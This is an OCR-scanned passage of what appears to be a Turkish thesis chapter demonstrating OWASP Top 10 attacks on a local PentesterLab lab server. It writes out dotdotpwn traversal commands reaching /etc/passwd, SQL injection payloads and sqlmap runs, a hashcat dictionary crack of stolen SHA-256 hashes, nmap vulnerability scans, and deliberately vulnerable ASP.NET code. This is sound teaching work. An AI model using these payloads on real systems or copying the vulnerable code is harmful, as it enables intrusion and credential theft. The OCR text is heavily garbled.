Uygulama asamasinda bir kirik kimlik dogrulama zafiyeti olan dizin/dosya yolu

gecisi (Directory traversal) zafiyeti incelenmistir.

Dizin gegisi saldirisi ile iyi yapilandirilmamis bir web sunucusunda bulunan dosya ve
dizinlere erisilerek kritik bilgilerin elde edilmesi hedeflenmektedir. "nokta-nokta-
egik c¢izgi (../)" kombinasyonlar1 kullanilarak rastgele dosyalara, sistemin kaynak
dosyalarina ya da yapilandirma ayarlarina erisilebilmektedir. Bu noktada zafiyetten

korunmak i¢in sistem erisim kontroliiniin iy1 yapilandirildigina emin olunmalidir.

Dizin gecisi saldirisin1  gerceklestirmek i¢in Kali iizerine dotdotpwn araci
kurulmustur. Dotdotpwn dosya yolu zafiyetlerini aramak i¢in gelistirilmis, bir tiir
hata ayiklama ve sizma testi aracidir. Genellikle bosluklari, veri dogrulama
hatalarini, yanlis parametreleri, bozuk verileri, hatali veri tiirlerini ve bu tir diger

programlama anormalliklerini belirlemeye yardimci olmaktadir.

Terminal ekraninda “sudo apt install dotdotpwn” komutu ile kurulum

gergeklestirilmistir.



38

./dotdotpun.pl -m <module> -h <host> [OPTIONS]
Available options:
-m Module [http | http-url | ftp | tftp | payload | stdout]
-h Hostname
-0 Operating System detection for intelligent fuzzing (nmap)
-0 Operating System type if known (“windows", "unix" or "generic")
-S Service version detection (banner grabber)
-d Depth of traversals (e.g. deepness 3 equals to ../../../; default: 6)
Specific filename (e.g. /etc/motd; default: according to 0S detected, defaults in TraversalEngine.pm)
Add @Extra_files in Traversalengine.pm (e.g. web.config, httpd.conf, etc.)
Use SSL for HTTP and Payload module (not needed for http-url, use a https:// url instead)
URL with the part to be fuzzed marked as TRAVERSAL (e.g. http://f00:8080/id.php?x=TRAVERSALSY=31337)
Text pattern to match in the response (http-url & payload modules - e.g. "root:" if trying /etc/passwd)
Filename with the payload to be sent and the part to be fuzzed marked with the TRAVERSAL keyword
Port to connect (default: HTTP=80; FTP=21; TFTP=69)
Time in milliseconds between each test (default: 300 (.3 second))
Use the Bisection Algorithm to detect the exact deepness once a vulnerability has been found
File extension appended at the end of each fuzz string (e.g. ".php", ".jpg", ".inc")
Username (default: 'anonymous')
Password (default: 'dotadot.pwn')
HTTP Method to use when using the 'http' module [GET | POST | HEAD | COPY | MOVE] (default: GET)
Report filename (default: 'HOST_MM-DD-YYYY_HOUR-MIN.txt')
Break after the first vulnerability is found
Quiet mode (doesn't print each attempt)
Continue if no data was received from host

Sekil 3.3. dotdotpwn araci ile kullanilabilecek parametreler.

[k adim olarak saldirinin gergeklestirilecegi sunucunun kaynak kodlar1 incelenmistir.
Kaynak kodlar arasinda sunucu tarafinda veri aligverisi olan noktalar iizerinde
yogunlastigimizda, Sekil 34.te isaretli gorselin
“http://192.168.253.129/dirtrav/examplel.php?file=hacker.png” seklinde kodlandigi
gozlemlenmistir. Kaynak kodda bulunan ‘file=..." ifadesi, belirtilen dosyay1
sunucudan dondiiriir. dotdotpwn araci ile sistemdeki dosya ve dizinler, bu yap1

kullanilarak elde edilmeye calisilacaktir.

Directory traversal b ctiv CAuemerpani®s -

« Examg : )

-
» Example 3: 8

Sekil 3.4. Sunucu lizerinde dizin erisimi saglanan noktalarin belirlenmesi.

Sunucu iizerinde dizin erisimi saglanan noktalar belirlendikten sonra asagidaki
gorseldeki komut terminal ekranina yazilmistir. Komut igerisinde bulunan -m
parametresi modul bilgisini, -h parametresi host adresini, -u parametresi ile dosya ve

dizin taramasi yapilacak nokta (‘TRAVERSAL’ anahtar kelimesi ile bu nokta
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belirtilmektedir.), -f parametresi ile aranacak dosya/dizin adi ve -k parametresi ile de

dosya igerisinde gegcen metinler taranmistir.

/home/krkymhmt/Desktop

http-url http://192.168.253.129/

http://192.168.253.129/dirtrav/examplel.php?file=TRAVERSAL

etc/passwd

"root"f|

Sekil 3.5. dotdotpwn aracinin drnek bir kullanima.

Tarama tamamlandiginda dotdotpwn araci ile sunucu tizerinde ilgili kriterlere uygun

60 adet dosya/dizin bulunmustur.

TESTING RESULTS

=]

Ready to launch 3.33 traversals per second
Press Enter to start the testing (You can stop it pressing Ctrl + C)

Replacing "TRAVERSAL" with the traversals created and sending

Testing
Testing

Testing
Testing
Testing

Testing
Testing
Testing
Testing
Testing
Testing
Testing
Testing
Testing

Testing
Testing
Testing

Testing
Testing

Testing URL:
Testing URL:
Testing URL:

Fuzz testing

URL:
: http://192.

: http://192. .253.129/dirtrav/examplel.
: http://192.168.253.129/dirtrav/examplel.
: http://192.168.253.129/dirtrav/examplel.

: http://192.
: http://192.
: http://192.
: http://192.
: http://192.
: http://192.
: http://192.
: http://192.
: http://192.

: http://192.168.253.129/dirtrav/examplel.
: http://192.168.253.129/dirtrav/examplel.
: http://192.168.253.129/dirtrav/examplel.

: http://192.
: http://192.

http://192.168.253.129/dirtrav/examplel.

php?fil
.253.129/dirtrav/examplel. i

php?file=../../../.

php?file=../../../.

.253.129/dirtrav/examplel. S
.253.129/dirtrav/examplel.
.253.129/dirtrav/examplel.
.253.129/dirtrav/examplel.
.253.129/dirtrav/examplel.
.253.129/dirtrav/examplel.
.253.129/dirtrav/examplel.
.253.129/dirtrav/examplel.
.253.129/dirtrav/examplel.

php?fil
php?fil
php?file
php?fil
php?fil
php?fil
php?file
php?fil
php?file

N

Ne

Do
.%2f.
php?file=..%2f..%2f
php?file=..%2f..%2f
php?file=..%2f..%2f

.253.129/dirtrav/examplel. J%2f . %2f

.253.129/dirtrav/examplel.

php?fil
php?fil

./etc/passwd
./../etc/passud

php?file=../../../etc/passwd <- VULNERABLE
./etc/passwd <- VULNERABLE
./../etc/passwd <- VULNERABLE

./../../etc/passwd <- VULNERABLE
\passwd

\etc\passwd
.. \etc\passwd

.\etc\passwd

\..\etc\passwd

. AL\l \etc\passwd
2fetck2fpasswd

%2fetck2fpasswd

.. %2fetck2fpasswd <- VULNERABLE
.o%2f. %2fetc%2fpasswd <- VULNERABLE
.. %2f. . %2f. .%2fetck2fpasswd <- VULNERABLE

L o%2fF. . %2F. . %2f . .%2fetck2fpasswd <- VULNERABLE
.%5cetck5cpasswd

Sekil 3.6. dotdotpwn araci ile dizin agimi1 zafiyet taramasi yapilmasi

http://192.168.253.129/dirtrav/examplel.php?file=..
http://192.168.253.129/dirtrav/examplel.php?file=..
http://192.168.253.129/dirtrav/examplel.php?file=..

finished after 28.50 minutes (1710 seconds)

Total Traversals found: 60
Report saved: Reports/192.168.253.129_11-27-2021_16-20.txt

®

Bu

dosyalar

/home/krkymhmt /Desktop

.\etc\passwd%00index.htm
.\etc\passwd;index.html

NeoisNooNswNso\s
\eeNooNeaNee\e
\.a\La\LG\L G\l \etc\passwd; index. htm

Sekil 3.7. Zafiyet tarama sonucu bulunan kritik dosya/dizin sayisi

incelendiginde

g6zlemlenmektedir.

etc/passwd  dosyasinin

erisilebilir  oldugu
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© & 192.168.253.129

ali Tools = Kali Docs Kali Forums NetHunter [| Offensive Security Exploit-DB GHDB | MSFU

. daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4
pool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10
:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var,
y:/monexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh mysql:x:101:103:MySQL Server,,,:/'
1:/bin/false user:x:1000:1000:Debian Live user,,,:/home/user:/bin/bash

Sekil 3.8. etc/passwd dosyasinin igerigi

Sistemin 1iyi yapilandirilmamasi sebebiyle saldirgan, kullanici bilgilerini igeren

etc/passwd dosyasina ulagsmay1 bagarmistir.

3.2.2. Kriptografik/Sifreleme hatalari saldir1 Ornegi

Kriptografik/Sifreleme hatalar1 zafiyeti i¢in uygulama asamasinda SQL enjeksiyonu
saldiris1 gergeklestirilmistir. Ele gegirilmis ve bilinmeyen bir sifreleme algoritmasi
ile sifrelenmis bir parolanin elde edilmesi amaglanmaktadir. SQL Enjeksiyonu
konusuna “6.3. Enjeksiyonlar” basliginda deginilmistir. SQL enjeksiyonu ile elde

edilen veriler iizerinde, bu zafiyete uygun sekilde diizenleme yapilmistir.

© /4 192.168.253.129

Kali Tools = Kali Docs Kali Forums NetHunter || Offensive Security Exploit-DB GHDB || MSFU

Home

id name password

1 admin 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FCABE8AB1FEF2AB448A918

2 root 8D969EEFEECAD3C29A3A629280E686CFOC3F5D5A86AFF3CA12020C923ADC6CI2
3 useri E14CBSESCOEEEEOEA313A4E04FBD10AA17AC17AA33A3CAD4BDFE74B87CA18EF8
5 user2 25F43B1486AD95A1398E3EEB3D83BC4010015FCCOBEDB35B432E00298D5021F7

Sekil 3.9. SQL Injection ile kullanici bilgilerinin elde edilmesi

Elde edilen parola bilgilerinin sifrelenmis olarak tutuldugu goézlemlenmektedir.
Oncelikle hangi sifreleme algoritmasmin  kullamldigmin  tespit edilmesi
gerekmektedir. Kali Linux isletim sistemi iizerine kurulacak “Name That Hash” arac1

sifreleme algoritmasinin tiirliniin bulunmasinda yardimer arag¢ olarak kullanilmastir.
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Bu ara¢ 300’den fazla sifreleme algoritmasini desteklemektedir. Aracin
kullanilabilmesi i¢in python3’tin kurulu olmasi gerekmektedir. Terminal ekranina
“sudo apt install python3-pip” komutu yazilarak python3 kurulumu yapilir.
Sonrasinda ‘sudo pip3 install name-that-hash’ komutu ile Name That Hash aracinin

kurulumu tamamlanur.

Options:
-t, --text TEXT Check one hash, use single quotes ' as inverted commas
" messes up on Linux.

-f, =-file FILENAME Checks every hash in a newline separated file.
-g, --greppable Are you going to grep this output? Prints in JSON
format.

-b64, --baseb4 Decodes hashes in Base64 before identification. For
files with mixed Base64 & non-encoded it attempts
base64 first and then falls back to normal hash
identification per hash.

-a, --accessible Turn on accessible mode, does not print ASCII art. Also
does not print very large blocks of text, as this can
cause some pains with screenreaders. This reduces the
information you get. If you want the least likely
feature but no banner, use --no-banner.

-e, --extreme Searches for hashes within a string. This mode will get
5d41402abc4b2a76b9719d911017¢592 from
#i##5d41402abckb2a76b9719d911017c592# 84

-=-no-banner Removes banner from startup.

--no-john Don't print John The Ripper Information.
--no-hashcat Don't print Hashcat Information.

-v, --verbose Turn on debugging logs. -vvv for maximum logs.
-~help Show this message and exit.

Sekil 3.10. Name That Hash ile kullanilabilecek parametreler

nth --text '8C6976E5B5410415BDE908BDADEE15DFB167A9C873FC4BB8AS
1F6F2AB448A918' komutu ile ara¢ kullanildiginda sifreleme algoritmasinin SHA-

256 tiiriinde olma olasiliginin en yiiksek ihtimal oldugunu bizlere dondiirmektedir.
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6E5B5410415BDE90O8BD4DEE15DFB167A9C873FC4BB8A8B1F6F2AB448A918"

, HC: 1400 JtR: raw-sha256
, JtR: snefru-256
, JtR: dynamic_140
, JtR: dynamic_140

Sekil 3.11. Name-That-Hash aracinin kullanimi

Elde edilen sifreli metnin sifreleme algoritmasi elde edildikten sonra Kali Linux
isletim sistemi tlizerindeki hashcat araci kullanilmistir. Asagidaki komut ile, SQL
enjeksiyonu ile elde edilen sifreli metin ¢oziilmeye calisilmigtir. Bu komutta yer alan
-a parametresi atak modunun dictionary attacks olacagini, -m 1400 parametresi ise
sifreleme algoritmasinin SHA-256 oldugunu (sifreleme algoritmasina karsilik gelen
kodu) belirtmektedir. Bu parametrelerin detayli agiklamalarina hastcat —help komutu

ile erisilebilir. Saldir1 i¢in Kali Linux ile gelen “rockyou.txt” listesi kullanilmisgtir.

‘hashcat -a 0 -m 1400 "8C6976E5B5410415BDE908BDADEE15DFB167A9C873F
C4BB8A81F6F2AB448A918" /usr/share/wordlists/rockyou.txt’

Applications Places & Terminal 29 Nov 23:58

krkymhmt @kali:

)-[~]
t /] 1400
.1.1) starting

Host memory required for this attack: 65 MB

Dictionary cache hit:
Filename..: /usr/share/wordlists/rockyocu.txt
14344385
139921507
¢ 14344385

... hashcat
: Cracked

Sekil 3.12. hashcat araci ile dictionary attack saldiri tipinin gergeklestirilmesi
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Saldir1 sonrasi hashcat araci bize parola bilgilerinin metin halini dondiirmektedir.
Kullanic1 adi1 ve sifre bilgilerini bilen saldirgan ilgili hesaba erisim saglayip

kullaniciya bir¢ok yonden zarar verebilir.

3.2.3. Enjeksiyonlar saldir1 Ornegi

Bu calismada o©rnek olarak HTTP tabanli SQL enjeksiyon saldirisi

gergeklestirilmistir. Bunun igin ilk adim olarak saldirinin gergeklestirilecegi sitenin

URL bilgisi kontrol edilmistir.

© 4 192.168.253.129

ali Tools = Kali Docs Kali Forums NetHunter ]| Offensive Security Exploit-DB GHDB || MSFU

om Home

id name age

2 root 30

® PentesterLab 2013

Sekil 3.13. Parametre bilgilerinin URL iizerinden alindiginin tespit edilmesi

Parametre bilgisinin URL iizerinden alindig1 tespit edilmistir. Bu noktadan sonra
sistemde SQL enjeksiyonuna kars1 bir koruma olup olmadigini tespit etmek i¢in ' or

'1'="1 ifadesi ile sorgu calistirilmistir.

© £ 192168253129

{ali Tools = Kali Docs Kali Forums NetHunter || Offensive Security Exploit-DB GHDB || MSFU

PentesterLab.com Home

id name age
1 admin 10
2 root 30
3 usert 5
5 user2 2

@ PentesterLab 2013

Sekil 3.14. SQL Enjeksiyon islemi yapilmasi
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Gorselde de goriildiigii gibi ‘root’ ifadesi silinip ' or '1'='1 ifadesi eklendiginde
sistemdeki tim kullanicilarin geldigi goriilmektedir. Sorgu, belirtilen sekilde

degistirildiginde;

[k asamada "SELECT * FROM kullanicilar WHERE isim ='" + kullaniciAdi + " ;"
formatinda oldugu tahmin edilmistir. Sonrasinda eklenen ifade ile sorgu "SELECT *
FROM kullanicilar WHERE isim =' " + kullaniciAdi ' or '1' ='1 + " ;" formatina
dontismiustiir. Bu kosul hangi kullanici adi girilirse girilsin “OR ‘17 = “1°”
ifadesinden dolay1 geriye true degeri dondiireceginden dolayr tiim kayitlart
getirecektir.

SQL enjeksiyon saldirist i¢in Kali Linux {izerinde bir¢cok yardimci ara¢ mevcuttur.
Bu araclar, drnekte gosterilen yontemi otomatik olarak gerceklestirebilir. Bu saldirt

icin Kali Linux iizerinde kurulu gelen Sqlmap araci kullanilmistir.

Sqlmap araci, agik kaynak kodlu, SQL enjeksiyon zafiyetlerini tespit ve istismar
etmek i¢in kullanilan bir aragtir. Hedeflenen uygulamanin veritabani ve tablo
bilgilerini, SQL enjeksiyon zafiyetlerini elde etmeyi amaglamaktadir. Gelismis

parametre yapist bulunmaktadir.

automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
€AL] unable to connect to the target URL. sqlmap is going to retry the request(s)
NG] most likely web server instance hasn't recovered yet from previous timed based payload. If the problem persists please wait for a few minutes and rerun without 13
chnique=BE! r try to lower the value of option '--time-sec’ (e.g. '--time-sec=2")
[INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for currenf
[INFO] target URL appears to have 5 columns in query
13:58] [INFO] GET parameter 'name' is "Generic UNION query (NULL) - 1 to 20 columns® injectable
ET parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
Jsqlmap identified the following injection point(s) with a total of 62 HTTP(s) requests:

parameter: name (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (auery SLEEP)
Payload: name=root’ AND (SELECT 4395 FROM (SELECT(SLEEP(5)))1gPU) AND 'gUzD'='guzD

Type: UNION query
Title: Generic UNION auerv (NULL) - 5 columns
Payload: name=root’ UNION ALL SELECT NULL,NULL,CONCAT(0X717a627071,0xkela7357566a40527550714a4b6755486250704b7078564469724b5847674d4b5465626772575841,0x717a7a7a71)  NULL NULL-~ -

15] [INFO] the back-end DBMS is MysQL

d DBMS: MySQL >= 5.0.12

:15] [INFO] fetched data logged to text files under '/home/krkymhmt/.local/share/sqlmap/output/192.168.253.129
NG] your sqlmap versiow is outdated

115 /2021-12-05/

Sekil 3.15. Sqlmap araci ile sql enjeksiyon zafiyet taramast

sglmap -u http://192.168.253.129/sqli/examplel.php?name=root komutu ile ara¢ en
sade sekilde calistirildiginda 2 adet zafiyet bulmustur. Bunun yaninda tablonun kolon

sayi1s1, sunucu ve sunucunun versiyon bilgileri gibi bir¢ok bilgide elde edilmistir.


http://192.168.253.129/sqli/example1.php?name=root
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Artik kolon sayisi bilindigine i¢in In-Band Sql Injection teknikleri uygulanabilir.

MySQL sunucularinda tablo bilgileri information _schema altinda tutulmaktadir. Bu

bilgiler dahilinde tiim tablolarin isimlerine ulasilabilir. Bu durumda sorgumuz

‘http://192.168.253.129/sqli/examplel.php?name=root' union select table name,?2,

3,4,5 FROM information_schema.tables %23’ seklinde olacaktir.

% 192.168.253.129

pols

* Kali Docs Kali Forums NetHunter || Offensive Security

Home

CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS

COLUMN_PRIVILEGES

ENGINES

EVENTS

FILES

GLOBAL_STATUS

GLOBAL_VARIABLES

KEY_COLUMN_USAGE

PARTITIONS

PLUGINS

PROCESSLIST

PROFILING

REFERENTIAL_CONSTRAINTS

Exploit-DB

GHDB f| MSFU

name

root

age

30

Sekil 3.16. information_schema altinda bulunan tablo adlarmimn In-Band Sql Injection teknigi ile alinmast

Sqlmap araci ile veritabam sunucu ile daha &zellestirilmis bilgilere erisilebilir. ilk

ornekte kullanilan sorgunun sonuna —dbs parametresi eklenerek veri tabaninda

bulunan semalarin listesi gortintiilenebilir.
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Parameter: name (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: name=root' AND (SELECT 4395 FROM (SELECT(SLEEP{5)))1gPU) AND 'gUzD'="gUzD

Type: UNION guery
Title: Generic UNION query (NULL) - 5 columns
Payload: name=root’' UNION ALL SELECT NULL,NULL,CONCAT(Gx?l?a62?G}'1,Bxﬁeﬁa?35?566a4952?559

:48:09] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[01:48:00] [1NFO] fetching database names
available databases [2]:
[*] exercises
[%] information_schema

Sekil 3.17. --dbs parametresi ile gema listesinin alinmasi

Son olarak tespit edilen semalarda bulunan tablolarin listesi i¢in sorgunun sonuna ‘--

tables -D exercises’ komutu eklenir.

2:02:20] [INFO] the back-end DBMS is MySQL
back-end DEMS: MySQL >= 5.0.12
[02:02:20] [1InFO] fetching tables for database: 'exercises’
Database: exercises

Sekil 3.18. exercises semasi altinda bulunan tiim tablolarin goériintiilenmesi

Gortldiigii lizere Sqlmap araci ile, enjeksiyon =zafiyeti bulunan bir sistemin
sunucusunun veri tabani, sema ve tablo bilgilerine SQL enjeksiyonu saldirisiyla

rahatlikla erisilebilmektedir.

Bu noktadan sonra daha detayli tablo ve veri tabani bilgilerine erisilebilir, veri tabani
kopyalanabilir, tablolar ve semalar silinebilir ve veriler degistirilebilir. Tiim bu
islemler bir veri tabani i¢in ¢ok 6nemli sorunlardir. SQL enjeksiyon basit ve bilinir
bir yontem olmasi sebebiyle sik karsilasilan bir saldin tiirii olup, gerekli tedbirler

alinmadig1 takdirde kurumlara ¢ok ciddi maddi zararlar ve itibar kayiplar1 yasatabilir.
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3.2.4. Guvensiz tasarim Saldir1 Ornegi

OWASP Top 10 listesine 2021 yilinda eklenmis bir zafiyet tiiriidiir. Bu zafiyet,
tasarim ve mimarideki kusurlarla iliskili risklere odaklanir. Bir tasarim deseninin iyi
uygulanmis olmasi sistemin giivenli oldugu anlamina gelmez. Segilen tasarim
deseninin iyi uygulanmasinin yani sira, giivenli olmasi da bu zafiyetten dogabilecek
saldirilara karst korunmada onemli bir etkendir. Giivensiz tasarim zafiyetinden
kaynaklanan bir¢ok saldir1 tiirli mevcuttur. En sik karsilagilan saldiri tiirlerinden

bazilar1 agsagida agiklanmistir.

Bir Parolanin Diiz Metin Olarak Saklanmasi: Parola yonetimi zafiyetleri, parolanin
diiz metin olarak saklandigi durumlarda ortaya ¢ikar. Bir parola diiz metin olarak
yapilandirma dosyasinda saklandiginda, bu dosyaya erisim izni olan herkes sisteme
erisebilir. Diiz metin olarak parolanin belirli bir siire bile bellekte durmasi, giivenlik

riski ortaya ¢ikarabilir.

App.config # X
1 <2xml version="1.80" encoding="utf-8" 2>

2 =<configuration>

3 é <startup>

4 <supportedRuntime version="v4.@" sku=".NETFramework,Version=v4.5.2" />

s </startup>

685 |<connectionStrings>

7 <add _name="StudentConn" connectionString="Data Source=.\SQLEXPRESS;Initial Catalog=TestDB

[ ID=sa;Password=System123 ;Pooling=False" />
</connectionStrings>
9 | </configuration>

00

Sekil 3.19. Bir Asp.NET uygulamasinda veritabani bilgilerinin yapilandirma dosyasinda diiz metin olarak
tutulmasi

Yapilandirma dosyalarinin yani sira yazilim gelistirilen yazilimda parolanin diiz
metin olarak saklanmasi da bu dosyaya erigim izni olan herkese sisteme erisebilme

imkani tanimaktadir.
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Name = "ku

Password

Sekil 3.20. Bir Asp.NET uygulamasinda parolanin diiz metin olarak tutulmasi

Dosya Adi ya da Yolundan Kaynaklanan Zafiyetler: Bu zafiyet tiiriinde, saldirgan
sistem dosyalarina ya da kritik dosyalara erisebilir, bu dosyalarin yetkilerini
degistirebilir ya da bu dosyalari silebilir. Saldirgan, sistem i¢in kritik olan bir dosyay1

silerek tiim sistemi etkisiz hale getirebilir.

filePath = " " + txbFileMame.Text;

File.Delete(filePath);

Sekil 3.21. Asp.NET uygulamasi igin dosya yolu zafiyeti bulunan bir kod blogu

Sekil 3.21.’den de goriilecegi iizere uygulama gelistiricisi, kullanicidan aldig1 dosya
admni higbir kontrolden gegirmeden direkt olarak silmektedir. Saldirgan, bu zafiyeti

kesfettigi takdirde girdi olarak kritik bir dosyanin sisteme biiyiik zararlar verebilir.

Hassas Bilgi Iceren Hata Mesajlarinin Olusturmasi: Hassas bilgi barindiran hata

mesajlari, saldirganlara fayda saglayabilir. Bu mesajlar iki sekilde olusturulur:

Gelistirici tarafindan olusturulan hata mesajlari: Sistemi gelistirilen kisi tarafindan,

belirli sartlarda gosterilmesi istenen hata mesajlaridir.

Derleyici tarafindan olusturulan hata mesajlari: Sistemi gelistiren kisiden bagimsiz,
genelde Ongoriilemeyen durumlarda ortaya ¢ikan mesajlardir. Gelistirici tarafindan
olusturulan hata mesajlarina gore, beklenmedik durumlarda olustugu i¢in daha kritik

ve risklidir.
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Baz1 hata mesajlart kritik bilgi barindirmasa dahi sistemin sorgu mantigini ortaya
cikardigi igin risklidir. Saldirgan, sorgu mantigini elde ederek SQL Enjeksiyon
saldirilart i¢in bu bilgiden faydalanabilir.

Error - User.cs pe

Unexpected Error - Line 723: SELECT Mame, Password, CreatedDate
FROM Users WHERE Userld=78

Tamam

Sekil 3.22. Kritik bilgi barindiran bir hata mesaj1 drnegi

3.2.5. Yanhs guvenlik yapilandirmalar: saldir1 Ornegi

Yanlis giivenlik yapilandirmalar: zafiyetinin tespiti i¢in Kali Linux isletim sistemi

tizerinde kurulu olarak gelen nikto ve nmap araglar1 kullanilmigtir.

Nmap: Cok geligsmis ag bir tarama aracidir. S1izma testlerinde kullanilir. A¢ik portlar,
cihaz ve sirim bilgileri, isletim sistemi, portlarda calisan servisler ve giivenlik

aciklarinin tespiti gibi bir¢ok bilgiyi verir.

Nikto: Web uygulamalar1 ve sunucular i¢in glivenlik taramasi yapan gii¢lii bir aragtir.
Perl dili ile yazilmigtir. Birgok zafiyet igin tarama yapabilir. Derinlemesine tarama

yapabilir fakat bu islem uzun siirebilmektedir.

Nmap Ile Giivenlik Taramasi: Nmap aract ile giivenlik taramas1 yapmak i¢in terminal
ekranina ‘nmap -A -v —script=vuln,auth 192.168.253.129 komutu yazilmistir. Bu
komutta bulunan parametreler, hedef sisteme gore 6zellestirilebilir. -A parametresi

ile hedef sistemin isletim sistemi bilgileri, --script parametresi ile giivenlik agig1
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taramast (vuln) ve yetki (auth) zafiyeti ile iliskili, varsayilan scriptlerin bulunmasi

hedeflenmistir.

Nmap 7.91 ( https://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
-iL <inputfilename>: Input from list of hosts/networks
-iR <num hosts>: Choose random targets
--exclude <hosti[,host2][,host3],...>: Exclude hosts/networks
--excludefile <exclude_file>: Exclude list from file
HOST DISCOVERY:
-sL: List Scan - simply list targets to scan
-sn: Ping Scan - disable port scan
-Pn: Treat all hosts as online -- skip host discovery
-PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-pPo[protocol list]: IP Protocol Ping
-n/-R: Never do DNS resolution/Always resolve [default: sometimes]
--dns-servers <servi[,serv2],...>: Specify custom DNS servers
--system-dns: Use 05's DNS resolver
--traceroute: Trace hop path to each host
SCAN TECHNIQUES:
-s5/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
-sU: UDP Scan
-sN/sF/sX: TCP Null, FIN, and Xmas scans
--scanflags <flags>: Customize TCP scan flags
-sI <zombie host[:probeport]>: Idle scan
-sY/sZ: SCTP INIT/COOKIE-ECHO scans
-s0: IP protocol scan
-b <FTP relay host>: FTP bounce scan
PORT SPECIFICATION AND SCAN ORDER:
-p <port ranges>: Only scan specified ports
Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,5:9
--exclude-ports <port ranges>: Exclude the specified ports from scanning
-F: Fast mode - Scan fewer ports than the default scan
-r: Scan ports consecutively - don't randomize
--top-ports <number>: Scan <number> most common ports
--port-ratio <ratio>: Scan ports more common than <ratio>
SERVICE/VERSION DETECTION:
-sV: Probe open ports to determine service/version info
--version-intensity <level>: Set from @ (light) to 9 (try all probes)

Sekil 3.23. Nmap parametreleri

Komutun c¢alistirilmasiyla birlikte arag, acik olan portlar ve bu portlarda g¢alisan
servisler, versiyon bilgileri, SQL enjeksiyonu, XSS (Cross Side Scripting) zafiyetleri

gibi zafiyet tlrleri ve benzer birgok zafiyeti taramaktadir.
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PORT STATE SERVICE VERSION

22/tep open  ssh OpenSSH 5.5p1 Debian 6+squeeze3 (protocol 2.0)

| ssh-auth-methods:

|  Supported authentication methods:

| publickey

|- password

| ssh-publickey-acceptance:

|, Accepted Public Keys: No public keys accepted

| vulners:

| cpe openbsd:openssh:5.5p1:

| EDB-ID:40888 7.8 https://vulners.com/exploitdb/EDB-ID:40888 *EXPLOIT*
| MSF: ILITIES/OPENBSD-OPENSSH-CVE-2010-4478/ 7.5 https://vulners.com/metasploit/MSF: ILITIES/OPENBSD-OPENSSH-CVE-2010-4478/ *EXPLOIT*
| CVE-2010-4478 . /vulners.com/cve/CVE-2010-4478

| EDB-ID:41173 . .com/exploitdb/EDB-ID:41173 *EXPLOIT*
| S5V: 60656 . .com/seebug/SSV: 60656 *EXPLOIT*

| CVE-2017-15906 5. . com/cve/CVE-2017-15906

| CVE-2010-5107 . .com/cve/CVE-2018-5107

| .com/seebug/SSV:00447 | xEXPLOITx

| .com/exploitdb/EDB-ID:45233 *EXPLOLT*
| .com/exploitdb/EDB-ID:45210 *EXPLOIT*

| s -com/exploitdb/EDB-ID: 45001 *EXPLOIT*

| . .com/exploitdb/EDB-ID: 45000 *EXPLOIT*

| H . .com/exploitdb/EDB-ID: 408963 *EXPLOIT*

| EDB-ID:40962 . -com/exploitdb/EDB-1D:40962 *EXPLOIT*

| CVE-2016-0778 .com/cve/CVE-2016-0778

| MSF:ILITIES/U 4.0 https://vulners.com/metasploit/MSF: ILITIES/UBUNTU-CVE-2016-0777/ *EXPLOIT*

| MSF:ILITIES/IBM-ALX-CVE-2016-0777/ 4.0 http. vulners.com/metasploit/MSF: ILITIES/IBM-ALX-CVE-2016-0777/ *EXPLOIT*

| MSF: ILITIES/DEBIAN-CVE-2016-0777/ 4.0 http: vulners.com/metasploit/MSF: ILITIES/DEBIAN-CVE-2016-0777/ *EXPLOIT*

| MSF: ILITIES/ATX: ~OPENSSH_ADVISORY7_CVE-2016-0777/ . com/metasploit/MSF: ILITIES/AIX-7.2-OPENSSH_ADVISORY7_CVE-2016-0777/ *EXPLOIT*
| MSF: ILITIES/ALX- -OPENSSH_ADVISORY7_CVE-2016-0777/ . com/metasploit/MSF:ILITIES/ALX-7,1-OPENSSH_ADVISORY7_CVE-2016-0777/ *EXPLOIT*
| MSF: ILITIES/ATX-5.3-0PENSSH_ADVISORY7_CVE-2016-0777/ . H .com/metasploit/MSF:ILITIES/AIX-5.3-0PENSSH_ADVISORY7_CVE-2016-0777/ *EXPLOIT*
| CVE-2016-0777 4.0 https://vulners.com/cve/CVE-2016-0777

| MSF: ILITIES/SUSE-CVE-2011-5000/ 3.5 https://vulners.com/metasploit/MSF: ILITIES/SUSE-CVE-2011-5000/ *EXPLOLT*

| MSF : ILITIES/ORACLE-SOLARIS-CVE-2012-0814/ . /vulners.com/metasploit/MSF: ILITIES/ORACLE-SOLARIS-CVE-2012-0814/ #EXPLOIT*

| MSF: ILITIES/GENTOO-LINUX-CVE-2011-5000/ 3.5 H com/metasploit/MSF: ILITIES/GENTOO-LINUX-CVE-2011-5000/ | +EXPLOIT*

| MSF: ILITIES/AMAZON-LINUX-AMI-ALAS-2012-99/ . https://vulners.com/metasploit/MSF: ILITIES/AMAZON- LINUX-AMI-ALAS-2012-99/ *EXPLOIT*

| CVE-2012-0814 3.
| CVE-2011-5000 3.
| CVE-2011-4327 2.
|

5 /vulners.com/cve/CVE-2012-0814
5] -com/cve/CVE-2011-5000
1 E .com/cve/CVE-2011-4327
